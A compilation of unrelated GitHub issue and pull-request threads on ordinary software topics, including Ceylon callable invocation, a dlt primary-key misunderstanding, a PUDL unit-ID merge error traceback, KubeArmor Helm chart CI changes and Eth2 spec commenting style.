Well, the idea of a Tuple<Anything, Anything, Anything[]> canonicalTuple(Anything[]) function did cross my mind, but for unsafe invocation of callables:

You would still need to assert the result to the Arguments type required by the callable, so the proposed invoke(c,args) is more flexible.
The invoke() should be at least slightly more performant
While a canonicalTuple() seems like it may be more generally useful, I haven't convinced myself of that to point of being able to propose such a function. You still need to know the static Tuple type to put it to use.

Of course, if canonicalTuple already existed, I would not have opened this request.

If this helps, the use case I had for this problem was to be able to pass arguments to a function when the types of both function and arguments were not known statically, but known to be "correct" at runtime... this allows me to implement a property-based test where function input is generated automatically.
I can definitely see how frameworks would need to do this kind of thing in other scenarios as well...
See how I use this here:
https://github.com/renatoathaydes/specks/blob/ee7f8473ca9e0176f2db0ce82400300628c3be63/source/com/athaydes/specks/specks.ceylon#L254

@tombentley I see you added some commit related to this. Any chance of getting this done for 1.2.3 or do we move it to 1.3?

An interim workaround, albeit a very slow one, which can be called like:
invokeCallable(Integer.string, [50]);
invokeCallable(plus<Integer>, [50, 25]);
invokeCallable(plus<Integer>, {50, 25}.sequence());

is:
shared Anything invokeCallable(
        Anything(*Nothing) callable, {Anything*} arguments)
    =>  `function invokeCallableHelper`.invoke {
            typeArguments = arguments.collect(type).reversed.fold<Type<Anything>[2]>
                    ([`Nothing`, `[]`])(([elements, rest], element)
                =>  let (union = elements.union(element))
                    [union, `class Tuple`.apply<>(union, element, rest)])[1:1];
            arguments = [
                callable,
                // relies on undocument property that Tuples are typed
                // by their contents
                arguments.fold<Anything[]>([])(uncurry(
                    Sequential<Anything>.withTrailing<Anything>))];
        };

Anything invokeCallableHelper<Arguments>
        (Anything(*Arguments) f, Arguments arguments)
        given Arguments satisfies Anything[]
    =>  f(*arguments);

#7019 suggest the addition of something like the canonicalTuple() discussed above. That would help with this issue, but not entirely address it, since:

It would needlessly expand trailing ranges in some cases, for example, with an argument list like ["", *(1:runtime.maxIntegerValue)] for a callable of type Anything(String, *Integer), and
There's currently no fast and reliable way to get the Arguments runtime type-arg from a Callable<Anything, Nothing>


Adding sorting by fragment name.

This resolves https://github.com/apollographql/persistgraphql/issues/13 for me.
I didn't have time yet to add tests, sorry.

Thanks so much. I can probably add the tests myself and then we can merge this.

@fubhy I'm moving the changes from this PR into #24 where I can add the tests. I'll close this PR.


Sidebar overflow, scrollbar broken

Getting this scrollbar overflowed in vuejs docs site.

OS: Ubuntu 18.04
Browser: Chrome Version 74.0.3729.131

The issue still persists on Windows 10 (both Chrome and Firefox)

@gustojs Apparently you're looking at vuejs.org? It should be the Netlify preview instead.

thanks for the PR!

Thanks @fayazara for this issue.


How to know if the user stops ?

Hello,
Is there a way to be notified when the user stops (speed=0) ?
I want to display the speed on the screen and for the moment, I can't know when the speed is null...
Thanks in adavance !

Notice: this issue has been closed because it has been reported for branch 2.x or later. It could be already fixed in v3 or is not relevant anymore. You may reopen this issue if it has been closed in error.


Allow Tag Creation on the Fly

Context

As a user I want to be able to create new tag on the fly when trying to add a non existing somewhere in the platform

@TeddyCr tags are for us controlled vocabulary. That means we can't allow users to add them freely but it has to be done based on governance needs. While this is convenient, it runs counter to curated, reviewed, and controlled vocabulary.


issue

What causes the model training not to stop

Hello, you need to specify arguments before (which folder contains data...), type python spatial_train.py -h for more details.

I have set all the parameters. I don't think it's a problem with parameter settings

!python3 spatial_train.py -p 16 -b 16

Did you extract the features  with extract_features.py ?

yes

I tried 4 videos of myself for training, but no epoch appeared

To train 2BiVQA you need to execute  End2End_train.py, spatial_train.py is used only to train the spatial pooling module and it works only with images not videos.

The spatial pooling module is trained on Koniq10k database, I will add further arguments and comments to clarify this point. Thanks

Thank you for your answer; But I had trained with  End2End_train.py，it  also happens that no epoch appeared

yes，I tried 4 videos of myself for training, but no epoch appeared

Here you tried 4 videos, while you specify batch_size as 16

I will close this issue, if you still face the some problem you can contact me at<EMAIL_ADDRESS>and we can organize a meeting on zoom or google meet.

After reading your reply, I think it may be the problem of environment and data, because my data is run on Google's Colab. Can you upload the Colab version, including the running data?

You can find a brief demo here: https://drive.google.com/drive/folders/1O4xajRa71K7fkmdjGvLDuNbX8ATdZ_hP?usp=sharing

Thank you for your work. I don't know how long your dataset video is? If possible, can you upload part of the video in Colab and extract features

We used 3 datasets, you can find details in our paper.
I have already uploaded 10 videos features in the drive.

I have no more questions. Thank you for your help. Good luck to you.

I want to reproduce your paper, but I can't find the dataset you synthesized from three dataset in the paper, including videos and MOS

You can find all details in our paper.
"We also used these three datasets to create a fourth dataset, which is the union of them after MOS calibration using the Iterative Nested Least Squares Algorithm (INSLA)"


[FLOC-4049] Move Packer templates into the installer directory

Fixes: https://clusterhq.atlassian.net/browse/FLOC-4049

merge it!


Determine why gompertz distribution requires parameter on log scale to avoid NA in bootstraps

May be related to #134

Dealt with by switch to TMB


Switch from preact/zustand to Alpine

Using the component structure of the original site was causing problems. This is a much simpler solution for how little JS actually gets used on the site.

Closing this - it was neat to try Alpine.js, but it's not for me.


Get Selected Text

is there any builtin function to  get the selected text of the scombobox like $("#input").scombobox('val') for the value ?

No, there is no such methods.
But it could be easily implemented.
I guess you need the method which would get the value of a search field?

are you kidding me? You develop a combobox library.... but the only problem is you cant get the value out of it? xD I would be interested in the value, too....

I think this issue relates to getting the selected text, not getting the value. The OP includes a code fragment showing how to get the value.

after working a time with the "scombobx", i found too many issue and its
useless, I prefer to use "select2" library to draw i combobox.
On Mon, May 15, 2017 at 12:57 PM, John Murray<EMAIL_ADDRESS>wrote:

I think this issue relates to getting the selected text, not getting
the value. The OP includes a code fragment showing how to get the value.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ivkremer/jquery-simple-combobox/issues/82#issuecomment-301430727,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ARJ0dsm8w0jOxTPDmRYrQu9cwQxjvD-Tks5r6CGWgaJpZM4H1P8x
.

It's ok dude. I'm sorry.

For me, scombobox has been very useful. I am grateful to the developer for creating it and sharing it.


[tests/ls] Support user names containing dots

I tested on my laptop, the username has . characters, so ls -l tests fail, because they weren't allowing . characters in usernames

Fix regular expressions that test ls -l calls

fun bug :) thanks


bug: @dlt.transformer ignores write_disposition="replace"

Description
When a transformer yields duplicates, they are not merged as defined in the given write_disposition.
See attached test, which is expected to pass, however it fails.
Expected
multiple yields overwrite each other. Last yield wins.
Thus the expected resulting table should look like this:

id
current_pass

1
2

2
2

however, it looks like this:

id
current_pass

1
1

2
1

1
2

2
2

even though primary_key has been defined and write_disposition is "replace"

Hey @joscha , without looking at your test to deeply, are you maybe confusing write_disposition "replace" with "merge"? If you set it to replace, merge keys are not used, but the table is fully replaced with each pipeline run.

hi @sh-rp , updated the description and code to remove the merge key; it's the primary key I was after, sorry for the confusion. Would you mind looking at the code? I am also happy to pair/have a call/add more detail to it, if needed.

@joscha the primary key also is not used when using replace. What exactly do you expect the primary key to do? If you need deduplication or merging, you'll have to use the merge write_disposition. In your example the transformer yields 4 rows alltogether and these seem to end up in the destination table, which is the correct behavior.

the primary key also is not used when using replace. What exactly do you expect the primary key to do?

I was under the impression the  primary key denotes uniqueness, do I have that wrong?

If you need deduplication or merging, you'll have to use the merge write_disposition. In your example the transformer yields 4 rows alltogether and these seem to end up in the destination table, which is the correct behavior.

I expect a newer (later) record to enter the system replace an older (earlier) record if they have equal primary keys. So if I have a stream of data, that yields multiple of the same records, the database ends up with only one of them.
I.e.:
[
 { id: 1 },
 { id: 1 },
 { id: 1 },
 { id: 1 },
 { id: 1 },
 { id: 1 },
]

with primary_key="id" would yield

id

1

The primary key is just a column hint, it does not do anything on its own. dlt does not enforce uniqueness, you can set it to translate to a primary key or unique key on some destinations which would make your example fail though because you'd be trying to insert two records with the same primary key.
If you want to have deduplication on the incoming records but still to a replace, you'll have to truncate the table before the pipeline run and use a merge write disposition with primary keys and possibly a dedup_sort hint:
create_authentication

Okay, thank you, will give that a try. This behaviour was not obvious to me. I think for two reasons:

The notion of a primary key is overloaded; because of the name I automatically assumed it would be unique
"replace" suggested to me it would work on a per-row basis, not only correspond to the whole table, thus I expected later records to overwrite earlier ones.

I wonder if it would make sense for me to open a pull request to the docs to add this information? It would have definitely helped me. WDYT?
I will try your suggestion above and close this issue in the meantime.


Cow: Blacklist +91 0879-999-1480

Cow requests the blacklist of the number +91 0879-999-1480. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

Approved by Dragonrage in Charcoal HQ


Draftjs content on mobile - How facebook is doing

I read this
https://github.com/facebook/draft-js/issues/138#issuecomment-191295851
If we save raw content on the db.
const contentState = this.state.editorState.getCurrentContent();
console.log("contentState", contentState)
const raw = convertToRaw(contentState);
return JSON.stringify(raw, null, 2);
Then how can I show/use the same content or ability on mobile with the help of react native and without using webview.
First of all how Facebook is doing if there is no mechanism to display draftjs content and how  Facebook is handling all this on the web as well as on mobile

Do you still need help with this? I can write a fiddle showing you how to build one.

ya, sure it will be great and helpful. @jobpaardekooper .
Thanks 😄 👍

Just so you know, I am working on it. I'm just a bit busy at the moment.

@varunajmera0 You can take a look at https://github.com/globocom/react-native-draftjs-render which does the same.


Crashes when searching for google image on Windows 10

Works with local images.
Always ends with this exit code when trying to select image from google.
Process finished with exit code -1073740791 (0xC0000409)

Which OS are you on? Do you have the "use image workaround" checkbox ticked?

I don't think so,
Where can i find it?

It should appear in the main window above the buttons

This is all i see, could be a compatibility problem as you are using linux and I am on windows.

hmm, this is weird, the checkbox should appear. I'll see what I can do.

Ok, my bad, forgot to push my changes to GitHub :P
Could you please pull the changes and check if it works with the checkbox ticked/unticked?

I now have the "use image workaround" button, but it still exits with the same code.
Process finished with exit code -1073740791 (0xC0000409)
Do you have a windows virtual machine to test it yourself ?

after a bit of debugging i managed to get this selenium.common.exceptions.WebDriverException: Message: 'chromedriver' executable needs to be in PATH. Please see https://sites.google.com/a/chromium.org/chromedriver/home i have no idea what the PATH variable needs to be in windows

    def on_img_select(self, event, pil_img_obj: Image):
        # print(type(pil_img_obj))
        # pil_img_obj.show()
        print("Selected image!")
        self.main_window.imgObj = pil_img_obj
        self.main_window.preferLocalImg = False
        self.main_window.reload_img_preview()
        self.close()

the self.close() causes that to happen apparently

Thanks, I just changed the webdriver path to the current directory. I'll look into the issue with the segmentation fault 👍

Yeah, I dont know much python, but I tried to fix it with no success. Was
able to get it to work with loading 1 image. But after drawing that image
and trying to load 1 other image, it would crash.
On Mon, Dec 28, 2020, 2:33 PM Marius<EMAIL_ADDRESS>wrote:

Thanks, I just changed the webdriver path to the current directory. I'll
look into the issue with the segmentation fault 👍
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/realmayus/AutoSkribbler/issues/2#issuecomment-751838709,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AKZNEYQNVU24IVTT3F6WAXLSXDMQ5ANCNFSM4ND7YALQ
.


misalignment of 3D predict bbox on visiable image - demo/multi_modality_demo.py

Hi
I test the "demo/multi_modality_demo.py" with config file "mvxnet_fpn_dv_second_secfpn_8xb2-80e_kitti-3d-3class.py" and checkpoint "dv_mvx-fpn_second_secfpn_adamw_2x8_80e_kitti-3d-3class_20210831_060805-83442923.pth".
the input files are "demo/data/kitti/000008.bin, 000008.png, 000008.pkl".
The prediction bbox are misaligned on the 2D images.

Thanks for your feedback. We are fixing the visualization of multi-modality these days. :)


fix(CI): publish KubeArmorOperator Helm charts

Purpose of PR?:
Description:

Moves KubeArmorOperator helm chart to deployments/helm so that it can be published by the chart releaser wf
Changes PR/commit authors to github bot for automatically created PRs and commits.
Changes branch from gh-pages to main.

Does this PR introduce a breaking change?
No
If the changes in this PR are manually verified, list down the scenarios covered::
Ran them on my own fork by creating a stable release.
Created PR: https://github.com/DelusionalOptimist/KubeArmor/pull/22
Published chart: https://github.com/DelusionalOptimist/charts/commit/211e57bfb485e92902055d0c27dc81b95b35a40e
Checklist:

[x] Bug fix. Fixes #
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update
[x] PR Title follows the convention of  <type>(<scope>): <subject>
[ ] Commit has unit tests
[ ] Commit has integration tests

Can we also copy the README for helm? Since we are syncing the charts itself maybe syncing the README also makes sense?

@daemon1024 The GH action that we are using only commits and pushes helm chart changes. So we'll have to do that manually or create a separate automated commit. WDYT?

https://github.com/kubearmor/KubeArmor/blob/f58a36bdef4e326822c51a8d04f6d24e82b8ec34/deployments/helm/templates/RBAC/bindings.yaml#L31
please include the fix to use release namespace here also with this PR itself.

@rksharma95 @daemon1024 I've added a commit which builds the operator with local paths for dependent packages while taking care of docker build context. This will get us rid of the hassle of updating our packages upstream before we update the operator. PTAL.

@rksharma95 @daemon1024 I've added a commit which builds the operator with local paths for dependencies while taking care of docker build context. This will get us rid of the hassle of updating our packages upstream before we update the operator. PTAL.

KubeArmor/tree/main/deployments/get we need to add this path to test-operator and release-operator ci workflow.
should we merge controller-test and operator-test workflow and we can check for path which pkg got updated WDYT @DelusionalOptimist ?

KubeArmor/tree/main/deployments/get we need to add this path to test-operator and release-operator ci workflow.
should we merge controller-test and operator-test workflow and we can check for path which pkg got updated WDYT @DelusionalOptimist ?

@rksharma95 If I understand correctly, we'll have a common workflow which builds images for controller and operator based on the paths changed in PR and then run KubeArmor using operator.
We can do it at the repository level. A common CI workflow for PRs which will check all paths, build images as needed, push them to some temporary registry and run the ginkgo tests. No need to build image in all the runtime-specific workflows. It'll save us a lot of time.
But we can do this and a lot of other refactoring. If the operator-test and controller-test workflow merge is not urgent, I propose we should keep it as a part of the CI refactor in v0.12? What do you say?


Way to include latex packages in jupyter notebook

A way to include required packages such as \usepackage{algorithm} in the jupyter notebook would be useful.

Fixed


Fix expansion of unit_id_pudl to be compatible with annually varying prime_mover_code

Describe the bug
A while back @zaneselvans developed another step in our pursuit of complete coverage of unit_id_pudl #1037. We didn't actually turn it on in our tests so we didn't notice it is not compatible with the change we made to how we are normalizing the prime_mover_code - we determined that the PM code should actually be annually varying so it now gets harvested into the annually varying generators_eia860 table instead of the static generators_entity_eia table.
This change is incompatible with the way the current pudl.output.eia860.fill_unit_ids works during the assign_single_gen_unit_ids step.  This could very well effects other stages of the unit id assignment as well!
To Reproduce
Steps to reproduce the behavior -- ideally including a code snippet that causes the error to appear.

Is the bug related to the software / database? If so, please attach the settings.yml file you're using to specify which data to load, and make a note of where in the ETL process the error is happening.
Have you found an error or inconsistency in the data that PUDL brings together? If so, what is the data source, year, plant_id, etc -- how can we find the data you're looking at, and what is the nature of the error or inconsistency.
Does the problem happen when you're starting up the database (importing data) or does it happen later when you're trying to use the database?

With an all-year pudl.sqlite:
pudl_out = pudl.output.pudltabl.PudlTabl(pudl_engine,freq="AS",unit_ids=True)
gens = pudl_out.gens_eia860()

Error:
2023-04-19 11:51:16 [    INFO] catalystcoop.pudl.transform.eia861:582 Started with 81265 missing BA Codes out of 185553 records (43.80%)
2023-04-19 11:51:18 [    INFO] catalystcoop.pudl.transform.eia861:606 Ended with 14923 missing BA Codes out of 185553 records (8.04%)
2023-04-19 11:51:18 [    INFO] catalystcoop.pudl.output.eia860:182 91.6% of plant records have consistently reported BA Codes
2023-04-19 11:51:18 [    INFO] catalystcoop.pudl.output.eia860:232 Before any filling treatment has been applied. 43.8% of records have no BA codes
2023-04-19 11:51:19 [    INFO] catalystcoop.pudl.output.eia860:232 Backfilling and consistent value is the same. Filled w/ most consistent BA code. 10.8% of records have no BA codes
2023-04-19 11:51:19 [    INFO] catalystcoop.pudl.output.eia860:232 SWPP is most consistent value. Filled w/ oldest BA code. 8.3% of records have no BA codes
2023-04-19 11:51:19 [    INFO] catalystcoop.pudl.output.eia860:232 NWMT is most consistent value. Filled w/ oldest BA code. 8.3% of records have no BA codes
2023-04-19 11:51:19 [    INFO] catalystcoop.pudl.output.eia860:232 Two or more years of oldest BA code. Filled w/ oldest BA code. 8.1% of records have no BA codes
2023-04-19 11:51:19 [ WARNING] catalystcoop.pudl.output.eia860:31 pudl.output.eia860.utilities_eia860() will be deprecated in a future version of PUDL. In the future, call the PudlTabl.utils_eia860() method or pull the denorm_utilities_eia tabledirectly from the pudl.sqlite database.
2023-04-19 11:51:27 [    INFO] catalystcoop.pudl.output.eia860:510 Assigning pudl unit ids
2023-04-19 11:51:28 [    INFO] catalystcoop.pudl.output.eia860:1171 Selected 220100 ['CC', 'CS', 'GT', 'IC'] records lacking Unit IDs from 523563 records overall.

---------------------------------------------------------------------------
MergeError                                Traceback (most recent call last)
Cell In[159], line 2
      1 pudl_out = pudl.output.pudltabl.PudlTabl(pudl_engine,freq="AS",unit_ids=True)
----> 2 gens = pudl_out.gens_eia860()

File ~/code/pudl/src/pudl/output/pudltabl.py:293, in PudlTabl.gens_eia860(self, update)
    280 """Pull a dataframe describing generators, as reported in EIA 860.
    281
    282 If you want to fill the technology_description field, recreate
   (...)
    290     pandas.DataFrame: a denormalized table for interactive use.
    291 """
    292 if update or self._dfs["gens_eia860"] is None:
--> 293     self._dfs["gens_eia860"] = pudl.output.eia860.generators_eia860(
    294         self.pudl_engine,
    295         start_date=self.start_date,
    296         end_date=self.end_date,
    297         unit_ids=self.unit_ids,
    298         fill_tech_desc=self.fill_tech_desc,
    299     )
    301 return self._dfs["gens_eia860"]

File ~/code/pudl/src/pudl/output/eia860.py:511, in generators_eia860(pudl_engine, start_date, end_date, unit_ids, fill_tech_desc)
    509 if unit_ids:
    510     logger.info("Assigning pudl unit ids")
--> 511     out_df = assign_unit_ids(out_df)
    513 if fill_tech_desc:
    514     logger.info("Filling technology type")

File ~/code/pudl/src/pudl/output/eia860.py:900, in assign_unit_ids(gens_df)
    888     errstr = f"Input DataFrame missing required columns: {missing_cols}."
    889     raise ValueError(errstr)
    891 unit_ids = (
    892     gens_df.loc[:, required_cols]
    893     # Forward and back fill preexisting Unit IDs:
    894     .pipe(fill_unit_ids)
    895     # Assign Unit IDs to the CT+CA CC generators:
    896     .pipe(assign_cc_unit_ids)
    897     # For whole-combined cycle (CC) and single-shaft combined cycle (CS)
    898     # units, we give each generator their own unit ID. We do the same for
    899     # internal combustion and simple-cycle gas combustion turbines.
--> 900     .pipe(assign_single_gen_unit_ids, prime_mover_codes=["CC", "CS", "GT", "IC"])
    901     # Nuclear units don't report in boiler_fuel_eia923 or generation_eia923
    902     # Their fuel consumption is reported as mmbtu in generation_fuel_eia923
    903     # Their net generation also only shows up in generation_fuel_eia923
    904     # The generation_fuel_eia923 table records a "nuclear_unit_id" which
    905     # appears to be the same as the associated generator_id. However, we
    906     # can't use that as a unit_id_pudl since it might have a collision with
    907     # other already assigned unit_id_pudl values in the same plant for
    908     # generators with other fuel types. Thus we still need to assign them
    909     # a fuel-and-prime-mover based unit ID here. For now ALL nuclear plants
    910     # use steam turbines.
    911     .pipe(
    912         assign_single_gen_unit_ids,
    913         prime_mover_codes=["ST"],
    914         fuel_type_code_pudl="nuclear",
    915         label_prefix="nuclear",
    916     )
    917     # In these next 4 assignments, we lump together all steam turbine (ST)
    918     # generators that have a consistent simplified fuel_type_code_pudl
    919     # across all years within a given plant into the same unit, since we
    920     # won't be able to distinguish them in the generation_fuel_eia923
    921     # table. This will lump together solid fuels like BIT, LIG, SUB, PC etc.
    922     # under "coal".  There are a few cases in which a generator has truly
    923     # changed its fuel type, e.g. coal-to-gas conversions but these are
    924     # rare and insubstantial. They will not be assigned a Unit ID in this
    925     # process. Non-fuel steam generation is also left out (geothermal &
    926     # solar thermal)
    927     .pipe(
    928         assign_prime_fuel_unit_ids,
    929         prime_mover_code="ST",
    930         fuel_type_code_pudl="coal",
    931     )
    932     .pipe(
    933         assign_prime_fuel_unit_ids, prime_mover_code="ST", fuel_type_code_pudl="oil"
    934     )
    935     .pipe(
    936         assign_prime_fuel_unit_ids, prime_mover_code="ST", fuel_type_code_pudl="gas"
    937     )
    938     .pipe(
    939         assign_prime_fuel_unit_ids,
    940         prime_mover_code="ST",
    941         fuel_type_code_pudl="waste",
    942     )
    943     # Retain only the merge keys and output columns
    944     .loc[
    945         :,
    946         [
    947             "plant_id_eia",  # Merge key
    948             "generator_id",  # Merge key
    949             "report_date",  # Merge key
    950             "unit_id_pudl",  # Output column
    951             "bga_source",  # Output column
    952         ],
    953     ]
    954 )
    955 # Check that each generator is only ever associated with a single unit,
    956 # at least within the codes that we've just assigned -- the Unit IDs that
    957 # are based on the EIA boiler-generator-association or other matching
    958 # methods could legitimately specify different units for generators over
    959 # time -- which could impact the forward-/back-filled IDs as well:
    960 old_codes = list(gens_df.bga_source.unique()) + ["bfill_units", "ffill_units"]

File ~/mambaforge/envs/pudl-dev/lib/python3.11/site-packages/pandas/core/generic.py:5839, in NDFrame.pipe(self, func, *args, **kwargs)
   5781 @final
   5782 @doc(klass=_shared_doc_kwargs["klass"])
   5783 def pipe(
   (...)
   5787     **kwargs,
   5788 ) -> T:
   5789     r"""
   5790     Apply chainable functions that expect Series or DataFrames.
   5791
   (...)
   5837     ...  )  # doctest: +SKIP
   5838     """
-> 5839     return com.pipe(self, func, *args, **kwargs)

File ~/mambaforge/envs/pudl-dev/lib/python3.11/site-packages/pandas/core/common.py:513, in pipe(obj, func, *args, **kwargs)
    511     return func(*args, **kwargs)
    512 else:
--> 513     return func(obj, *args, **kwargs)

File ~/code/pudl/src/pudl/output/eia860.py:1200, in assign_single_gen_unit_ids(gens_df, prime_mover_codes, fuel_type_code_pudl, label_prefix)
   1178 unit_ids = (
   1179     gens_df.loc[row_mask, cols]
   1180     .drop_duplicates()
   (...)
   1196     .drop(["max_unit_id_pudl", "prime_mover_code"], axis="columns")
   1197 )
   1198 # Split original dataframe based on row_mask, and merge in the new IDs and
   1199 # labels only on the subset of the dataframe matching our row_mask:
-> 1200 return _append_masked_units(
   1201     gens_df, row_mask, unit_ids, on=["plant_id_eia", "generator_id"]
   1202 )

File ~/code/pudl/src/pudl/output/eia860.py:1112, in _append_masked_units(gens_df, row_mask, unit_ids, on)
   1087 def _append_masked_units(gens_df, row_mask, unit_ids, on):
   1088     """Replace rows with new PUDL Unit IDs in the original dataframe.
   1089
   1090     Merges the newly assigned Unit IDs found in ``unit_ids`` into the
   (...)
   1107         pandas.DataFrame:
   1108     """
   1109     return gens_df.loc[~row_mask].append(
   1110         gens_df.loc[row_mask]
   1111         .drop(["unit_id_pudl", "bga_source"], axis="columns")
-> 1112         .merge(
   1113             unit_ids,
   1114             on=on,
   1115             how="left",
   1116             validate="many_to_one",
   1117         )
   1118     )

File ~/mambaforge/envs/pudl-dev/lib/python3.11/site-packages/pandas/core/frame.py:10093, in DataFrame.merge(self, right, how, on, left_on, right_on, left_index, right_index, sort, suffixes, copy, indicator, validate)
  10074 @Substitution("")
  10075 @Appender(_merge_doc, indents=2)
  10076 def merge(
   (...)
  10089     validate: str | None = None,
  10090 ) -> DataFrame:
  10091     from pandas.core.reshape.merge import merge
> 10093     return merge(
  10094         self,
  10095         right,
  10096         how=how,
  10097         on=on,
  10098         left_on=left_on,
  10099         right_on=right_on,
  10100         left_index=left_index,
  10101         right_index=right_index,
  10102         sort=sort,
  10103         suffixes=suffixes,
  10104         copy=copy,
  10105         indicator=indicator,
  10106         validate=validate,
  10107     )

File ~/mambaforge/envs/pudl-dev/lib/python3.11/site-packages/pandas/core/reshape/merge.py:110, in merge(left, right, how, on, left_on, right_on, left_index, right_index, sort, suffixes, copy, indicator, validate)
     93 @Substitution("\nleft : DataFrame or named Series")
     94 @Appender(_merge_doc, indents=0)
     95 def merge(
   (...)
    108     validate: str | None = None,
    109 ) -> DataFrame:
--> 110     op = _MergeOperation(
    111         left,
    112         right,
    113         how=how,
    114         on=on,
    115         left_on=left_on,
    116         right_on=right_on,
    117         left_index=left_index,
    118         right_index=right_index,
    119         sort=sort,
    120         suffixes=suffixes,
    121         indicator=indicator,
    122         validate=validate,
    123     )
    124     return op.get_result(copy=copy)

File ~/mambaforge/envs/pudl-dev/lib/python3.11/site-packages/pandas/core/reshape/merge.py:713, in _MergeOperation.__init__(self, left, right, how, on, left_on, right_on, axis, left_index, right_index, sort, suffixes, indicator, validate)
    709 # If argument passed to validate,
    710 # check if columns specified as unique
    711 # are in fact unique.
    712 if validate is not None:
--> 713     self._validate(validate)

File ~/mambaforge/envs/pudl-dev/lib/python3.11/site-packages/pandas/core/reshape/merge.py:1531, in _MergeOperation._validate(self, validate)
   1529 elif validate in ["many_to_one", "m:1"]:
   1530     if not right_unique:
-> 1531         raise MergeError(
   1532             "Merge keys are not unique in right dataset; "
   1533             "not a many-to-one merge"
   1534         )
   1536 elif validate in ["many_to_many", "m:m"]:
   1537     pass

MergeError: Merge keys are not unique in right dataset; not a many-to-one merge

I did some debugging sleuthing and found that the unit_ids that were trying to be merged into gens_df in _append_masked_units had multiple proposed units for a small number of generators due to having multiple PMs over time:

Expected behavior
Preferably, we could run this function to make lotsa unit_id_pudl's 😎  This will be helpful in a number of ways but in particular for making the subplant_id to glue epacamd and eia (see #2491)

I did some debugging sleuthing and found that the unit_ids that were trying to be merged into gens_df in _append_masked_units had multiple proposed units for a small number of generators due to having multiple PMs over time

@cmgosnell is the problem here that these should be merged into the non-static gens table vs. the entity generators table? Or is the problem that unit ids should not vary by generator at all?


[Request] Self Switches

Having self switches would drastically reduce the amount of variables needed in my case. Currently, I'd need around 5 variables per event, and with a plan of having dozens of events, that quickly adds up, plus gets confusing fast. Self switches would allow me to have a lot more variables, and also allow everything to be simpler, by just copying the code onto other events.

Do you mean Switch Case? As in, 1 variable, but every number has a different dialogue?
It may not be in 1.0, but instead of true/false, you can check 'is MyVariable = 1', is MyVariable = 2, is MyVariable= 3 ect.
It will still bloat your script, but only use one variable.

Not exactly. I'm talking about the self switches in RPG Maker.

It would allow me to basically have multiple true/false variables in one script, not taking up room in the full variable list. This would also make copy and pasting the script to new events easier, so instead of "~~~ = True" for each individual event, it can just be "SelfSwitchA = True" for as many events as I need.

I'm still not quite following, but variable space is limited on a gameboy.
I can't get a clear view on how they're used in rpg maker, but from what i gather, are these statements true? Please add any clear features that I'm missing.
Self switches

Are local to their actors script, and do not show up elsewhere.
Can remember their data within a scene.
Can remember their data between scenes.
Allow multiple (4) script pages.
Allow you to jump from the main actor script page, to one of the 4 new actor script pages.
Are one per actor/scene script.

You're about half right. The first 3 are correct, but the self switches are just 4 yes/no variables contained in one event. I believe you can check for multiple at a time (I.E. If A&B = True). In the screen shot, that menu would allow you to check for a self switch, and then run a separate event script, although that wasn't what I was really planning on using it for.

How would you normally set A and B and C true? Talk me through it.
Self switches

Are local to their actors script, and do not show up elsewhere.
Can remember their data within a scene.
Can remember their data between scenes.
Are 4 self contained True False variables, A, B, C, and D.
Can not contain a number.
Can be compared together.
Are one (4 bit true false variable) per actor/scene.

This is all RPG Maker stuff, and my knowledge isn't the best on it, but it works like this. You can set the switch in your event script like this

and then have it check it like this.

or like this.

This is useful for things like chests, where you open it once,

and then can't open it again.

This makes each script self-contained, so you can just copy and paste them around your world, instead of having to make a "If Chest~~~Opened = True" for each one.
Here's another example of it being used within the script itself.

This seems somehow related to #37


Fix  prysm env template network configs

Changes:

Fix wrong links to prysm network configs files

Types of changes
What types of changes does your code introduce?
Put an x in the boxes that apply

[x] Bugfix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Documentation Update
[ ] Code style update (formatting, renaming)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] Other (please describe):

Testing
Requires testing

[ ] Yes
[x] No

Codecov Report

Merging #63 (a075519) into main (90d0cba) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main      #63   +/-   ##
=======================================
  Coverage   84.53%   84.53%
=======================================
  Files          31       31
  Lines        1778     1778
=======================================
  Hits         1503     1503
  Misses        222      222
  Partials       53       53

Flag
Coverage Δ

unittests
84.53% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 90d0cba...a075519. Read the comment docs.


WIP: more descriptions/comments for everything

Same as https://github.com/ethereum/eth2.0-specs/pull/1822 but fixed and rebased off of 0.12.
CC @hwwhww @protolambda

It would be good to squash all these github edits, to keep the spec git history clean. If you are applying suggestions, there's also a "batch apply" function, to combine them.

L

Redirect conversation to here:
@protolambda https://github.com/ethereum/eth2.0-specs/pull/1822#issuecomment-630363460:

The annotated spec by @benjaminion (And credit to many others, @djrtwo in particular) cannot go without mention here. Annotations and insightful comments are great, and make the spec much more readable, and hopefully enables more people to understand and audit it.

The spec has been "minimal" for a long time, often with others reducing the non-code text, but I really do think this PR is a step back in the right direction. However, it raises the question, how far should we go? More text than code?

It's a spec, and even calling them comments is wrong, they could be the majority of the spec. With a note that the code is the decision-maker, since it's not ambiguous unlike text can be. Preserving exact testable definitions through code is great.

cc @JustinDrake You have been the main proponent of minimalism, and although it was valuable to the spec, the text does not have to be like that. What do you think? And can this be a step towards the "Transparent Paper" (if that's how Eth2 as spec document will be called?).

@JustinDrake https://github.com/ethereum/eth2.0-specs/pull/1822#issuecomment-630687870

cc @JustinDrake You have been the main proponent of minimalism, and although it was valuable to the spec, the text does not have to be like that. What do you think? And can this be a step towards the "Transparent Paper" (if that's how Eth2 as spec document will be called?).

Agreed that comments should make the spec maximally readable :) I haven't been able to deliver on the transparent paper for 1+ year so I wouldn't hold my breath on it 😂

Re: minimal spec
My 2 cents

It was a bit difficult to maintain the comments. e.g., the configuration was changed from 2**2 to 2**3, but the comment hasn’t been updated. But now, as the spec has been frozen to production mode, this issue should be minor than before.
More than one time, I found that some context was lost between the PRs and commits, so I had to git blame to find it. 😅 And sometimes, it was misconfigured. So IMHO having “some important comments” is appreciated.
